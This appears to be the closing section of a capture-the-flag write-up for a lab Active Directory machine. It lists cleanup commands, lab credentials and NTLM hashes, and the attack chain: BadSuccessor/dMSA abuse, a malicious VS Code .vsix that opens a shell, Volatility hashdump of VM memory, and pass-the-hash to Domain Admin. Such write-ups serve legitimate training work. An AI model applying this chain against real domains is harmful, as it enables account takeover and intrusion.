If restoring the state after testing, check the following.

The SPN added to svc_deploy:

Terminal window
setspn -D http/checkpoint-vsix svc_deploy

If msDS-SupportedEncryptionTypes was changed on svc_deploy, restore its original empty value.

Terminal window
$u=[ADSI]'LDAP://CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'
$u.Properties['msDS-SupportedEncryptionTypes'].Clear()
$u.SetInfo()

BadSuccessor-related changes:

  • checkpoint-mark$
  • checkpoint-svc$
  • mark.davies’s msDS-Superseded...
  • svc_deploy’s msDS-Superseded...

DevDrop.

  • The .vsix placed on the share
  • callback beacon
  • Temporary files

Profile.

  • Tools placed under ryan.brooks and svc_deploy
  • PowerView.ps1
  • PowerUp.ps1
  • winPEASx64.exe

Initial credentials.

alex.turner : Checkpoint2024!

Hashes obtained through BadSuccessor.

mark.davies NTLM:
0b28e49d9deb96f99d74578e214faec2
svc_deploy NTLM:
e16081eb077aca74bdbf8af12af43ac9

Hash obtained from VM memory.

WIN-0DG6SJAEUTA\Administrator NTLM:
f29e9c014295b9b32139b09a2790be3b

This hash could be reused for CHECKPOINT\Administrator.

CHECKPOINT\Administrator : f29e9c014295b9b32139b09a2790be3b

Flags.

user.txt: C:\Users\ryan.brooks\Desktop\user.txt
root.txt: C:\Users\max.palmer\Desktop\root.txt

This was not a box solved solely by a typical shortest BloodHound path. It required the following skills.

  • Basic AD enumeration: users, groups, ACLs, memberships, and shares
  • Handling Kerberos clock skew
  • Distinguishing LDAP signing issues from unreliable LDAPS
  • Understanding BadSuccessor and dMSA
  • Reading differences in SMB share permissions
  • Code execution through a VS Code .vsix
  • Investigating Windows profiles and application data
  • Handling VMware backups and .vmem
  • Windows memory forensics with Volatility
  • NTLM hash reuse and pass-the-hash

The knowledge needed for this box is summarized below.

Basic LDAP enumeration of users, groups, descriptions, and memberOf was important. svc_deploy’s membership in Remote Management Users and BackupAccess was visible early.

Clock skew broke Kerberos, causing BloodHound to fall back to NTLM LDAP. LDAP signing then pushed it toward LDAPS, where the connection failed. I had to distinguish each step. Synchronizing time to make Kerberos work was the right response, rather than repairing LDAPS.

The required chain involved permission to create msDS-DelegatedManagedServiceAccount, the msDS-SupersededManagedAccountLink and msDS-SupersededServiceAccountState attributes, and badS4U2self. Even when a tool’s automatic workflow failed midway, checking LDAP for created objects and attributes and then continuing manually mattered.

alex.turner’s dMSA creation right alone could not obtain svc_deploy. It worked only when combined with ryan.brooks -> GenericWrite -> svc_deploy. Even if BloodHound did not show a direct path, the rights needed to be considered separately.

Reading the description of DevDrop and forming a hypothesis about executing a .vsix was the key to the user flag. The difference between SMB READ and READ,WRITE permissions also mattered.

The name memory forensics under VMBackups, the .vmem file, and Volatility’s windows.hashdump were the keys to root. Even though vmem held memory from another VM rather than the DC, I needed to consider hash reuse.

Once I had the local Administrator hash, I needed to try it for the target domain’s Administrator. Hash reuse was a strong point to check.

Checkpoint tested the ability to choose the next place to investigate based on visible evidence, rather than following a simple AD shortest path.

The first phase was AD.

  • Examine LDAP and SMB carefully with the initial credentials.
  • Identify clock skew as the reason BloodHound failed.
  • Combine BadSuccessor with ACL rights.

The middle phase was the application and shares.

  • Infer VS Code extension execution from the DevDrop description.
  • Create a .vsix and obtain a shell as ryan.brooks.
  • Check profiles and the VS Code database, but move on if they yield nothing.

The final phase was forensics.

  • The real value of svc_deploy was access to VMBackups, not WinRM.
  • Prefer .vmem over the 10 GB VMDK.
  • Run Volatility hashdump.
  • Test whether the local hash was reused in the domain.

The final step looked somewhat forceful for a Medium box, but each stage had clues. BackupAccess, memory forensics, max.palmer’s Domain Admins membership, and the reused Administrator hash seemed weak individually, but together formed a natural path.

The main lessons were:

  1. Continue manual LDAP enumeration even when BloodHound fails.
  2. A tool error does not always mean complete failure. Check whether the AD object was created.
  3. Read share names and descriptions.
  4. Keep investigating profiles and backups through the end.
  5. When you obtain a hash, test for reuse even if it came from a local account.